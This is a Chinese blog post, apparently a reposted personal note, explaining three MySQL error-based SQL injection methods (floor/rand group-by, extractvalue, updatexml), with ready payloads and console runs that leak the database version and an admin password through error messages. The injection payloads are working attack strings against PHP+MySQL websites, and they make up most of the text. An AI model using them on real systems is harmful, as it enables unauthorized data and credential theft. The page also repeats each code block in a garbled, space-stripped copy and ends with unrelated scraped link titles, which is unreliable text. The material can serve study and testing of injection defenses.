放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。

实际测试环境:

Default

mysql> show tables;

+----------------+

| Tables_in_test |

+----------------+

| admin |

| article |

+----------------+

1

2

3

4

5

6

7

mysql>showtables;

+----------------+

|Tables_in_test|

+----------------+

|admin|

|article|

+----------------+

Default

mysql> describe admin;

+-------+------------------+------+-----+---------+----------------+

| Field | Type | Null | Key | Default | Extra |

+-------+------------------+------+-----+---------+----------------+

| id | int(10) unsigned | NO | PRI | NULL | auto_increment |

| user | varchar(50) | NO | | NULL | |

| pass | varchar(50) | NO | | NULL | |

+-------+------------------+------+-----+---------+----------------+

1

2

3

4

5

6

7

8

mysql>describeadmin;

+-------+------------------+------+-----+---------+----------------+

|Field|Type|Null|Key|Default|Extra|

+-------+------------------+------+-----+---------+----------------+

|id|int(10)unsigned|NO|PRI|NULL|auto_increment|

|user|varchar(50)|NO||NULL||

|pass|varchar(50)|NO||NULL||

+-------+------------------+------+-----+---------+----------------+

Default

mysql> describe article;

+---------+------------------+------+-----+---------+----------------+

| Field | Type | Null | Key | Default | Extra |

+---------+------------------+------+-----+---------+----------------+

| id | int(10) unsigned | NO | PRI | NULL | auto_increment |

| title | varchar(50) | NO | | NULL | |

| content | varchar(50) | NO | | NULL | |

+---------+------------------+------+-----+---------+----------------+

1

2

3

4

5

6

7

8

mysql>describearticle;

+---------+------------------+------+-----+---------+----------------+

|Field|Type|Null|Key|Default|Extra|

+---------+------------------+------+-----+---------+----------------+

|id|int(10)unsigned|NO|PRI|NULL|auto_increment|

|title|varchar(50)|NO||NULL||

|content|varchar(50)|NO||NULL||

+---------+------------------+------+-----+---------+----------------+

1、通过floor报错

可以通过如下一些利用代码

Default

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x

from information_schema.tables group by x)a);

1

2

andselect1from(selectcount(*),concat(version(),floor(rand(0)*2))x

frominformation_schema.tablesgroupbyx)a);

Default

and (select count(*) from (select 1 union select null union select !1)x

group by concat((select table_name from information_schema.tables limit 1),

floor(rand(0)*2)));

1

2

3

and(selectcount(*)from(select1unionselectnullunionselect!1)x

groupbyconcat((selecttable_namefrominformation_schema.tableslimit1),

floor(rand(0)*2)));

举例如下:

首先进行正常查询:

Default

mysql> select * from article where id = 1;

+----+-------+---------+

| id | title | content |

+----+-------+---------+

| 1 | test | do it |

+----+-------+---------+

1

2

3

4

5

6

mysql>select *fromarticlewhereid=1;

+----+-------+---------+

|id|title|content|

+----+-------+---------+

|1|test|doit|

+----+-------+---------+

假如id输入存在注入的话,可以通过如下语句进行报错。

Default

mysql> select * from article where id = 1 and (select 1 from

(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'

1

2

3

mysql>select *fromarticlewhereid=1and(select1from

(selectcount(*),concat(version(),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a);

ERROR1062(23000):Duplicateentry'5.1.33-community-log1'forkey'group_key'

可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。

例如我们需要查询管理员用户名和密码:

Method1:

Default

mysql> select * from article where id = 1 and (select 1 from

(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x

from information_schema.tables group by x)a);

ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'

1

2

3

4

mysql>select *fromarticlewhereid=1and(select1from

(selectcount(*),concat((selectpassfromadminwhereid=1),floor(rand(0)*2))x

frominformation_schema.tablesgroupbyx)a);

ERROR1062(23000):Duplicateentry'admin8881'forkey'group_key'

Method2:

Default

mysql> select * from article where id = 1 and (select count(*)

from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),

floor(rand(0)*2)));

ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'

1

2

3

4

mysql>select *fromarticlewhereid=1and(selectcount(*)

from(select1unionselectnullunionselect!1)xgroupbyconcat((selectpassfromadminlimit1),

floor(rand(0)*2)));

ERROR1062(23000):Duplicateentry'admin8881'forkey'group_key'

2、ExtractValue

测试语句如下

Default

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

1

andextractvalue(1,concat(0x5c,(selecttable_namefrominformation_schema.tableslimit1)));

实际测试过程

Default

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,

(select pass from admin limit 1)));--

ERROR 1105 (HY000): XPATH syntax error: '\admin888'

1

2

3

mysql>select *fromarticlewhereid=1andextractvalue(1,concat(0x5c,

(selectpassfromadminlimit1)));--

ERROR1105(HY000):XPATHsyntaxerror:'\admin888'

3、UpdateXml

测试语句

Default

and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))

1

and1=(updatexml(1,concat(0x5e24,(selectuser()),0x5e24),1))

实际测试过程

Default

mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,

(select pass from admin limit 1),0x5e24),1));

ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'

1

2

3

mysql>select *fromarticlewhereid=1and1=(updatexml(1,concat(0x5e24,

(selectpassfromadminlimit1),0x5e24),1));

ERROR1105(HY000):XPATHsyntaxerror:'^$admin888^$'

All, thanks foreign guys.

link:http://blog.ourren.com/2012/11/03/pentest_method_of_mysql_error.html

本文由网络安全攻防研究室(www.91ri.org)信息安全小组收集整理,转载请注明出处!

mysql报错注入_关于Mysql注入过程中的三种报错方式相关推荐

  1. java按钮权限控制_详解Spring Security 中的四种权限控制方式

    Spring Security 中对于权限控制默认已经提供了很多了,但是,一个优秀的框架必须具备良好的扩展性,恰好,Spring Security 的扩展性就非常棒,我们既可以使用 Spring Se ...

  2. ftl有三种映射地址_浅谈以太坊中的三种“树”

    无论是比特币还是以太坊,它们都是完全由代码创造出来的,它们的几乎所有一切都是程序执行的结果.对计算机程序有些了解的朋友应该都知道,计算机程序离不开数据结构和算法. 顺便提一下,有部分人不认为比特币和以 ...

  3. wps改照片底色有红边_入学攻略丨证件照的三种换底色方式,你知道了吗?

    46 ♡ 关注集大情报局,更多资讯马上奉上! 本文共计3097字,很多图,建议阅读时间:15分钟 [长文预警] 最近不少人在后台提问 开学要不要带证件照 要带什么底色的证件照 要带几寸的证件照 要带几 ...

  4. mysql数据库建仓范式_存mysql个数

    MySQL学习笔记之数据类型详解 注:以下内容针对MySQL5.0及以上版本 MySQL的数据类型非常多,选择正确的数据类型对于获得高性能至关重要,本文是我结合网上看到的一些blog加上<高性能 ...

  5. mysql临键锁_详解 MySql InnoDB 中的三种行锁(记录锁、间隙锁与临键锁)

    详解 MySql InnoDB 中的三种行锁(记录锁.间隙锁与临键锁) 前言 InnoDB 通过 MVCC 和 NEXT-KEY Locks,解决了在可重复读的事务隔离级别下出现幻读的问题.MVCC  ...

  6. 重新安装mysql5.7.21_linux 安装mysql 5.7.21详解以及安装过程中所遇问题解决

    在安装过程中所遇到的问题有: 1.my-default.cnf文件找不到 2.mysql启动报错 3.mysql临时密码无法登录 安装环境centos 6.0 下载数据库: [root@CLangua ...

  7. mysql 三种工作模式_mybatis三种批量插入方式对比【面试+工作】

    准备:1.表结构CREATE TABLE `t_user` ( `id` varchar(32) CHARACTER SET utf8 NOT NULL COMMENT '主键', `name` va ...

  8. 了解mysql的三种不同安装方式的区别

    学习目的:了解mysql的三种不同安装方式的区别 学习内容: mysql 的安装有三种:分别是源码安装.二进制安装.rpm安装. 源码安装的优势:linux操作系统开放源代码,因此在其上面安装的软件大 ...

  9. MySQL buffer pool中的三种链

    三种page.三种list.LRU控制调优 一.innodb buffer pool中的三种页 1.free page:从未用过的页 2.clean page:干净的页,数据页的数据和磁盘一致 3.d ...

最新文章

  1. 构建根文件系统之启动第1个程序init
  2. NoSQL还是SQL?这一篇讲清楚
  3. Android-深入理解AIDL
  4. boost::spirit模块实现逗号分隔的数字列表的解析器的测试程序
  5. aop实现原理_从宏观的实现原理和设计本质入手,带你理解 AOP 框架的原理
  6. Python中math模块的使用
  7. 史玉柱吃透了中国人的人性,也引发了争议
  8. 苹果AirPods 2又有新消息了!具备防滑涂层和新配色
  9. 冒泡排序java jsp_冒泡排序实现原理
  10. js 创建多行字符串
  11. 黑马程序员-Java学习笔记之抽象类,接口,多态和内部类
  12. 关于vba word的一些用法
  13. IntelliJ IDEA 12.0搭建Maven Web SSH2架构项目示例(二)
  14. VMware 安装windows XP SP3 镜像下载地址 回忆xp经典
  15. matlab getprmdflt,DFLT40A-7中文资料
  16. python应用程序无法正常启动0x00000ba_应用程序无法正常启动0xc000012d?怎么解决?...
  17. AI反网络诈骗白皮书发布:一场人工智能与电信网络诈骗结合的攻防战
  18. 翻译:Panda3D Manual/V. Programming with Panda/E. Camera Control
  19. 机器视觉系统图像采集卡功能特点及应用场景介绍
  20. 身家200亿到入狱,中国股神的悲壮人生

热门文章

  1. 腾讯的前端工程师,是如何精进技术的?
  2. java求数组中满足给定和的数对,【加试题】数组a中有50个互异的整数,已按升序排列。给定一个正整数key,寻找数组a中是否有一对数的和等于给定的数key,算法如下:...
  3. 整合营销系统推荐乐云seo_做seo优化前需要考虑哪些
  4. 压缩版styleGAN
  5. pyqt qscrollarea 设置滚动位置
  6. el search 查询排序
  7. CheXNet 肺炎
  8. FFmpeg4.1 视频解码,保存原始YUV数据
  9. pytorch cat、stack、tranpose、permute、unsqeeze
  10. cuda nvcc dll